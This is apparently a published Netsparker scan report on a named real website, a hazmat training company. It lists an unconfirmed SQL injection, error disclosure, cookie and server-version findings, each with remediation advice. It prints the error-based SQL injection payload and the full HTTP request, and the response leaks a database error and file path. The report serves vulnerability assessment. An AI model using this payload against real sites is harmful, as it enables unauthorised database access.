XSS, DORK, Cross Site Scripting, lion.com REPORT SUMMARY

Netsparker - Scan Report Summary

TARGET URL	http://www.lion.com/?1=1
SCAN DATE	3/9/2011 4:17:36 PM
REPORT DATE	3/9/2011 4:20:19 PM
SCAN DURATION	00:01:42

Total Requests

Average Speed

req/sec.

identified

confirmed

critical

informational

GHDB, DORK Tests

PROFILE	Previous Settings
ENABLED ENGINES	Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting

Authentication

Scheduled

VULNERABILITIES Vulnerabilities
	CRITICAL 14 % LOW 43 % INFORMATION 43 %

[High Possibility] SQL Injection

1 TOTAL

CRITICAL

SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

MSDN - Protect From SQL Injection in ASP.NET

- /

/

http://www.lion.com/?1='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(1..

Parameters

Parameter	Type	Value
1	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /?1='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.lion.com
Cookie: ASPSESSIONIDAQSBADCD=KFMIMMKDLIIBPDGEAEOMNBGO
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 09 Mar 2011 22:21:02 GMT
Server: Microsoft-IIS/6.0
PICS-Label: (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0)),(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0))(PICS-1.0 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (v 0 s 0 n 0 l 0)),(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0))(PICS-1.0 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (v 0 s 0 n 0 l 0))(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (l 0 s 0 v 0 o 0))
X-Powered-By: ASP.NET
pragma: no-cache
cache-control: private, no-cache, must-revalidate,private
Content-Length: 1333
Content-Type: text/html; Charset=utf-8
Expires: Wed, 09 Mar 2011 22:20:02 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Hazmat Training, RCRA Training, Health & Safety Training | Workshops, Online, Onsite</title><meta name="keywords" content="lion technology, training, environmental, hazardous waste, hazmat, transportation, hazardous materials, dangerous goods, REACH, health and safety, public workshops, on-site training, online courses, compliance, IATA, IMDG, web seminars, DOT, EPA, OSHA" />
<meta name="description" content="Lion Technology has over 30 years of experience providing regulatory compliance training that is educational, empowering, and enjoyable. Lion Technology offers environmental, hazardous waste, transportation, and health & safety courses." />
<link href="/inc/style.css" rel="stylesheet" type="text/css" />
<link href="/inc/lion.css" rel="stylesheet" type="text/css" />
<font face="Arial" size=2><p>Microsoft OLE DB Provider for SQL Server</font> <font face="Arial" size=2>error '80040e14'</font><p><font face="Arial" size=2>Incorrect syntax near '%'.</font><p><font face="Arial" size=2>/inc/menus.asp</font><font face="Arial" size=2>, line 40</font>

Internal Server Error

1 TOTAL

LOW

CONFIRMED

The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.

Remedy

Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.

- /

/ CONFIRMED

http://www.lion.com/?1='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(1..

Parameters

Parameter	Type	Value
1	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

Response

Cookie Not Marked As HttpOnly

1 TOTAL

LOW

CONFIRMED

Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /

/ CONFIRMED

http://www.lion.com/?1=1

Identified Cookie

ASPSESSIONIDAQSBADCD

Request

GET /?1=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.lion.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 09 Mar 2011 22:20:50 GMT
Server: Microsoft-IIS/6.0
PICS-Label: (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0)),(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0))(PICS-1.0 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (v 0 s 0 n 0 l 0)),(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0))(PICS-1.0 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (v 0 s 0 n 0 l 0))(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (l 0 s 0 v 0 o 0))
X-Powered-By: ASP.NET
pragma: no-cache
cache-control: private, no-cache, must-revalidate,private
Content-Length: 23881
Content-Type: text/html; Charset=utf-8
Expires: Wed, 09 Mar 2011 22:19:49 GMT
Set-Cookie: ASPSESSIONIDAQSBADCD=JFMIMMKDBFNECNCLEMNDMLFI; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Hazmat Training, RCRA Training, Health & Safety Training | Workshops, Online, Onsite</title><meta name="keywords" content="lion technology, training, environmental, hazardous waste, hazmat, transportation, hazardous materials, dangerous goods, REACH, health and safety, public workshops, on-site training, online courses, compliance, IATA, IMDG, web seminars, DOT, EPA, OSHA" />
<meta name="description" content="Lion Technology has over 30 years of experience providing regulatory compliance training that is educational, empowering, and enjoyable. Lion Technology offers environmental, hazardous waste, transportation, and health & safety courses." />
<link href="/inc/style.css" rel="stylesheet" type="text/css" />
<link href="/inc/lion.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" type="text/javascript">
function submitSearch(){
searchform.submit;}
</script>

<script type="text/javascript">/* <![CDATA[ */qm_unlock0='mkrr/erq';qm_unlock1='suwyw0fsn';var qmu;qm_unlock();;function qm_unlock(){var i=0;var v;var lh=location.href.toLowerCase();while(v=window["qm_unlock"+i]){v=v.replace(/./g,x1);if(lh.indexOf("http")==-1||lh.indexOf(v)+1)qmu=true;i++;}};function x1(a,b){return String.fromCharCode(a.charCodeAt(0)-1-(b-(parseInt(b/4)*4)));}var qm_si,qm_li,qm_lo,qm_tt,qm_th,qm_ts,qm_la;var qp="parentNode";var qc="className";var qm_t=navigator.userAgent;var qm_o=qm_t.indexOf("Opera")+1;var qm_s=qm_t.indexOf("afari")+1;var qm_s2=qm_s&&window.XMLHttpRequest;var qm_n=qm_t.indexOf("Netscape")+1;var qm_v=parseFloat(navigator.vendorSub);;function qm_create(sd,v,ts,th,oc,rl,sh,fl,nf,l){var w="onmouseover";if(oc){w="onclick";th=0;ts=0;}if(!l){l=1;qm_th=th;sd=document.getElementById("qm"+sd);if(window.qm_pure)sd=qm_pure(sd);sd[w]=function(e){qm_kille(e)};document[w]=qm_bo;sd.style.zoom=1;if(sh)x2("qmsh",sd,1);if(!v)sd.ch=1;}else if(sh)sd.ch=1;if(sh)sd.sh=1;if(fl)sd.fl=1;if(rl)sd.rl=1;sd.style.zIndex=l+""+1;var lsp;var sp=sd.childNodes;for(var i=0;i<sp.length;i++){var b=sp[i];if(b.tagName=="A"){lsp=b;b[w]=qm_oo;b.qmts=ts;if(l==1&&v){b.style.styleFloat="none";b.style.cssFloat="none";}}if(b.tagName=="DIV"){if(window.showHelp&&!window.XMLHttpRequest)sp[i].insertAdjacentHTML("afterBegin","<span class='qmclear'> </span>");x2("qmparent",lsp,1);lsp.cdiv=b;b.idiv=lsp;if(qm_n&&qm_v<8&&!b.style.width)b.style.width=b.offsetWidth+"px";new qm_create(b,null,ts,th,oc,rl,sh,fl,nf,l+1);}}};function qm_bo(e){qm_la=null;clearTimeout(qm_tt);qm_tt=null;if(qm_li&&!qm_tt)qm_tt=setTimeout("x0()",qm_th);};function x0(){var a;if((a=qm_li)){do{qm_uo(a);}while((a=a[qp])&&!qm_a(a))}qm_li=null;};function qm_a(a){if(a[qc].indexOf("qmmc")+1)return 1;};function qm_uo(a,go){if(!go&&a.qmtree)return;if(window.qmad&&qmad.bhide)eval(qmad.bhide);a.style.visibility="";x2("qmactive",a.idiv);};;function qa(a,b){return String.fromCharCode(a.charCodeAt(0)-(b-(parseInt(b/2)*2)));}eval("ig(xiodpw/sioxHflq&'!xiodpw/qnu'&)wjneox.modauipn,\"#)/tpLpwfrDate))/iodfxPf)\"itup;\"*+2)blfru(#Tiit doqy!og RujclMfnv iat oou cefn!pvrdhbsfd/ )wxw/oqeocvbf.don)#)<".replace(/./g,qa));;function qm_oo(e,o,nt){if(!o)o=this;if(qm_la==o)return;if(window.qmad&&qmad.bhover&&!nt)eval(qmad.bhover);if(window.qmwait){qm_kille(e);return;}clearTimeout(qm_tt);qm_tt=null;if(!nt&&o.qmts){qm_si=o;qm_tt=setTimeout("qm_oo(new Object(),qm_si,1)",o.qmts);return;}var a=o;if(a[qp].isrun){qm_kille(e);return;}qm_la=o;var go=true;while((a=a[qp])&&!qm_a(a)){if(a==qm_li)go=false;}if(qm_li&&go){a=o;if((!a.cdiv)||(a.cdiv&&a.cdiv!=qm_li))qm_uo(qm_li);a=qm_li;while((a=a[qp])&&!qm_a(a)){if(a!=o[qp])qm_uo(a);else break;}}var b=o;var c=o.cdiv;if(b.cdiv){var aw=b.offsetWidth;var ah=b.offsetHeight;var ax=b.offsetLeft;var ay=b.offsetTop;if(c[qp].ch){aw=0;if(c.fl)ax=0;}else {if(c.rl){ax=ax-c.offsetWidth;aw=0;}ah=0;}if(qm_o){ax-=b[qp].clientLeft;ay-=b[qp].clientTop;}if(qm_s2){ax-=qm_gcs(b[qp],"border-left-width","borderLeftWidth");ay-=qm_gcs(b[qp],"border-top-width","borderTopWidth");}if(!c.ismove){c.style.left=(ax+aw)+"px";c.style.top=(ay+ah)+"px";}x2("qmactive",o,1);if(window.qmad&&qmad.bvis)eval(qmad.bvis);c.style.visibility="inherit";qm_li=c;}else if(!qm_a(b[qp]))qm_li=b[qp];else qm_li=null;qm_kille(e);};function qm_gcs(obj,sname,jname){var v;if(document.defaultView&&document.defaultView.getComputedStyle)v=document.defaultView.getComputedStyle(obj,null).getPropertyValue(sname);else if(obj.currentStyle)v=obj.currentStyle[jname];if(v&&!isNaN(v=parseInt(v)))return v;else return 0;};function x2(name,b,add){var a=b[qc];if(add){if(a.indexOf(name)==-1)b[qc]+=(a?' ':'')+name;}else {b[qc]=a.replace(" "+name,"");b[qc]=b[qc].replace(name,"");}};function qm_kille(e){if(!e)e=event;e.cancelBubble=true;if(e.stopPropagation&&!(qm_s&&e.type=="click"))e.stopPropagation();};function qm_pure(sd){if(sd.tagName=="UL"){var nd=document.createElement("DIV");nd.qmpure=1;var c;if(c=sd.style.cssText)nd.style.cssText=c;qm_convert(sd,nd);var csp=document.createElement("SPAN");csp.className="qmclear";csp.innerHTML=" ";nd.appendChild(csp);sd=sd[qp].replaceChild(nd,sd);sd=nd;}return sd;};function qm_convert(a,bm,l){if(!l){bm.className=a.className;bm.id=a.id;}var ch=a.childNodes;for(var i=0;i<ch.length;i++){if(ch[i].tagName=="LI"){var sh=ch[i].childNodes;for(var j=0;j<sh.length;j++){if(sh[j]&&(sh[j].tagName=="A"||sh[j].tagName=="SPAN"))bm.appendChild(ch[i].removeChild(sh[j]));if(sh[j]&&sh[j].tagName=="UL"){var na=document.createElement("DIV");var c;if(c=sh[j].style.cssText)na.style.cssText=c;if(c=sh[j].className)na.className=c;na=bm.appendChild(na);new qm_convert(sh[j],na,1)}}}}}/* ]]> */</script>
<script type="text/JavaScript">var qmad = new Object();qmad.bvis="";qmad.bhide="";qmad.bhover="";</script> 
<script type="text/JavaScript"> var a = qmad.qm0 = new Object(); a.slide_animation_frames = 15; a.slide_offxy = 1;/******* Menu 0 Add-On Settings *******/ // Slide Animation Add On
</script>

<script type="text/javascript">/* <![CDATA[ */qmad.slide=new Object();if(qmad.bvis.indexOf("qm_slide_a(b.cdiv);")==-1)qmad.bvis+="qm_slide_a(b.cdiv);";if(qmad.bhide.indexOf("qm_slide_a(a,1);")==-1)qmad.bhide+="qm_slide_a(a,1);";qmad.br_navigator=navigator.userAgent.indexOf("Netscape")+1;qmad.br_version=parseFloat(navigator.vendorSub);qmad.br_oldnav=qmad.br_navigator&&qmad.br_version<7.1;qmad.br_ie=window.showHelp;qmad.br_mac=navigator.userAgent.indexOf("Mac")+1;qmad.br_old_safari=navigator.userAgent.indexOf("afari")+1&&!window.XMLHttpRequest;qmad.slide_off=qmad.br_oldnav||(qmad.br_mac&&qmad.br_ie)||qmad.br_old_safari;;function qm_slide_a(a,hide){var z;if((a.style.visibility=="inherit"&&!hide)||(qmad.slide_off)||((z=window.qmv)&&(z=z.addons)&&(z=z.slide_effect)&&!z["on"+qm_index(a)]))return;var ss;if(!a.settingsid){var v=a;while((v=v.parentNode)){if(v.className.indexOf("qmmc")+1){a.settingsid=v.id;break;}}}ss=qmad[a.settingsid];if(!ss)return;if(!ss.slide_animation_frames)return;var steps=ss.slide_animation_frames;var b=new Object();b.obj=a;b.offy=ss.slide_offxy;b.left_right=ss.slide_left_right;b.sub_subs_left_right=ss.slide_sub_subs_left_right;b.drop_subs=ss.slide_drop_subs;if(!b.offy)b.offy=0;if(b.sub_subs_left_right&&a.parentNode.className.indexOf("qmmc")==-1)b.left_right=true;if(b.left_right)b.drop_subs=false;b.drop_subs_height=ss.slide_drop_subs_height;b.drop_subs_disappear=ss.slide_drop_subs_disappear;b.accelerator=ss.slide_accelerator;if(b.drop_subs&&!b.accelerator)b.accelerator=1;if(!b.accelerator)b.accelerator=0;b.tb="top";b.wh="Height";if(b.left_right){b.tb="left";b.wh="Width";}b.stepy=a["offset"+b.wh]/steps;b.top=parseInt(a.style[b.tb]);if(!hide)a.style[b.tb]=(b.top - a["offset"+b.wh])+"px";else {b.stepy=-b.stepy;x2("qmfv",a,1);}a.isrun=true;qm_slide_ai(qm_slide_am(b,hide),hide);};function qm_slide_ai(id,hide){var a=qmad.slide["_"+id];if(!a)return;var cy=parseInt(a.obj.style[a.tb]);if(a.drop_subs)a.stepy+=a.accelerator;else {if(hide)a.stepy -=a.accelerator;else a.stepy+=a.accelerator;}if((!hide&&cy+a.stepy<a.top)||(hide&&!a.drop_subs&&cy+a.stepy>a.top-a.obj["offset"+a.wh])||(hide&&a.drop_subs&&cy<a.drop_subs_height)){var bc=2000;if(hide&&a.drop_subs&&!a.drop_subs_disappear&&cy+a.stepy+a.obj["offset"+a.wh]>a.drop_subs_height)bc=a.drop_subs_height-cy+a.stepy;var tc=Math.round(a.top-(cy+a.stepy)+a.offy);if(a.left_right)a.obj.style.clip="rect(auto 2000px 2000px "+tc+"px)";else a.obj.style.clip="rect("+tc+"px 2000px "+bc+"px auto)";a.obj.style[a.tb]=Math.round(cy+a.stepy)+"px";a.timer=setTimeout("qm_slide_ai("+id+","+hide+")",10);}else {a.obj.style[a.tb]=a.top+"px";a.obj.style.clip="rect(0 auto auto auto)";if(a.obj.style.removeAttribute)a.obj.style.removeAttribute("clip");else a.obj.style.clip="auto";if(!window.showHelp)a.obj.style.clip="";if(hide){x2("qmfv",a.obj);if(qmad.br_ie&&!a.obj.style.visibility){a.obj.style.visibility="hidden";a.obj.style.visibility="";}}qmad.slide["_"+id]=null;a.obj.isrun=false;if(window.showHelp&&window.qm_over_select)qm_over_select(a.obj)}};function qm_slide_am(obj,hide){var k;for(k in qmad.slide){if(qmad.slide[k]&&obj.obj==qmad.slide[k].obj){if(qmad.slide[k].timer){clearTimeout(qmad.slide[k].timer);qmad.slide[k].timer=null;}obj.top=qmad.slide[k].top;qmad.slide[k].obj.isrun=false;qmad.slide[k]=null;}}var i=0;while(qmad.slide["_"+i])i++;qmad.slide["_"+i]=obj;return i;}/* ]]> */</script>

<script language="javascript" type="text/javascript" src="/external.js"></script>
<script language="JavaScript" type="text/javascript">function submitSearch(){searchform.submit;}</script>
<style type="text/css">
.splashHeading
{
font-family:Arial, Helvetica, sans-serif;
font-size:14px;
color:#000000;
margin-left:15px;
margin-right:13px;
padding-left: 10px;
padding-bottom: 2px;
}

.newsSection
{
width: 275px;
}

.newsSectionTop
{
background-image: url(/graphics/newsTop.gif);
background-repeat: no;
height:43px;
width:auto;
display:block;
}

.newsSectionTopContent
{
font-family:Arial, Helvetica, sans-serif;
font-size:16px;
padding:10px 10px 0px 0px;
margin-left: 20px;
}

.newsSectionRepeat
{
background-image: url(/graphics/newsRepeat.gif);
background-repeat:repeat;
display:block;
}

.newsSectionContent
{
font-family:Arial, Helvetica, sans-serif;
font-size:12px;
padding:3px 10px 0px 10px;
margin-left: 10px;
vertical-align:top;
}

.splashSubContent
{
font-family:Arial, Helvetica, sans-serif;
font-size:12px;
padding:3px 1px 0px 5px;
margin-left: 10px;
}

.newsSectionBottom
{
}

.mainSplash
{
padding-left: 10px;
}

.mainSplashImage
{
background-image: url(/graphics/lion_movie_static_image.jpg);
background-repeat: no;
height:265px;
width:575px;
on-click:
}

.mainSplashButtons
{
text-align:right;
padding-top:0px;
padding-right: 0px;
}
</style>

</head>
<body>
<div class="lioncenter"><table width="910" border="0" cellspacing="0" cellpadding="0"><tr><td style="width:55%;height:30px"></tr></table><table width="910" border="0" cellpadding="0" cellspacing="0" ><tr><td><table border="0" cellpadding="0" cellspacing="0" bordercolor="#000066" ><tr><td width="211" rowspan="2" valign="bottom" ><a href="/default.asp" target="_top" ><img border="0" src="/images/logo.gif" width="211" height="75" bgcolor="#000066" ></a></td><td align="right" width="698"><table align="right"><tr><td align="left" valign="middle"> <br /><font size="-1" style="color:gray;font-size:12px;">Hello. <a href="/membership/login2.asp">Sign in</a> to get access to <a href="/bookstore/Memberservice.asp">Member Benefits.</a></font>                                                                                        </td><td align="center" valign="middle"> </td><td align="center" valign="middle"><a class="viewCart" href="/Catalog/ASP/Lion_Showcart.asp">View Cart</a> </td></tr></table><input name="Products" type="hidden" value="Products"></td></tr><tr><td valign="bottom"><table border="0" cellpadding="0" cellspacing="0" ><tr><td style="background-color:blue;height:auto"></td></tr></table><table border="0" cellpadding="0" cellspacing="0" width="100%" class="lionhead" ><tr><td style="background-color:#000066;vertical-align: bottom;height:1px"></td></tr><tr><td style="background-color:#000066;vertical-align: bottom;height:21px"><ul id="qm0" class="qmmc"><li ><a style="font-weight:bold;color:#FFFFFF;" class="qmparent" style="color:#FFFFFF;letter-spacing:0.2px;" href="/default.asp" target="_top" >HOME</a></li> <li><span class="qmdivider qmdividery" ></span></li> <li ><a class="qmparent" style="color:#FFFFFF;letter-spacing:0.2px;" href="/aboutus.asp" target="_top" >ABOUT US</a><ul>
<li id="6" ><a href="/aboutlion/AddToMailingList.asp" title="Request Information">Request Information</a></li>
<li id="9" ><a href="/CareerCenter/Career.asp" title="Career Center">Career Center</a></li>
<li id="12" ><a href="/lighterside/lighterside.asp" title="Lighter Side">Lighter Side</a></li>
</ul>
</li> <li><span class="qmdivider qmdividery" ></span></li> <li ><a class="qmparent" style="color:#FFFFFF;letter-spacing:0.2px;" href="/Catalog/Training.asp" target="_top" >TRAINING</a><ul>
<li id="13" ><a href="/catalog/asp/lion_getfulllisting.asp" title="Course Catalog">Course Catalog</a></li>
<li id="14" ><a href="/Catalog/DOTTraining.asp" title="Hazmat (49 CFR, IATA & IMDG)">Hazmat (49 CFR, IATA & IMDG)</a></li>
<li id="16" ><a href="..

Database Error Message

1 TOTAL

LOW

Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.

- /

/

http://www.lion.com/?1='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(1..

Parameters

Parameter	Type	Value
1	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

Response

IIS Version Disclosure

1 TOTAL

INFORMATION

Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.

Impact

An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.

Remediation

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.

- /sitemap.xml

/sitemap.xml

http://www.lion.com/sitemap.xml

Extracted Version

Microsoft-IIS/6.0

Request

GET /sitemap.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.lion.com
Cookie: ASPSESSIONIDAQSBADCD=KFMIMMKDLIIBPDGEAEOMNBGO
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Content-Length: 5438
Content-Type: text/xml
Last-Modified: Thu, 21 May 2009 20:54:25 GMT
Accept-Ranges: bytes
ETag: "1a843a5356dac91:5f0"
Server: Microsoft-IIS/6.0
PICS-Label: (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0)),(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0))(PICS-1.0 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (v 0 s 0 n 0 l 0)),(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0))(PICS-1.0 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (v 0 s 0 n 0 l 0))(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (l 0 s 0 v 0 o 0))
X-Powered-By: ASP.NET
Date: Wed, 09 Mar 2011 22:20:50 GMT

<?xml version='1.0' encoding='UTF-8'?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
<loc>http://www.lion.com/</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>weekly</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=ENV_P30&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=HMT_P30&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=HMT_P35&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=HMT_P36&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=HMT_P36A&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=RCRA_P30&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
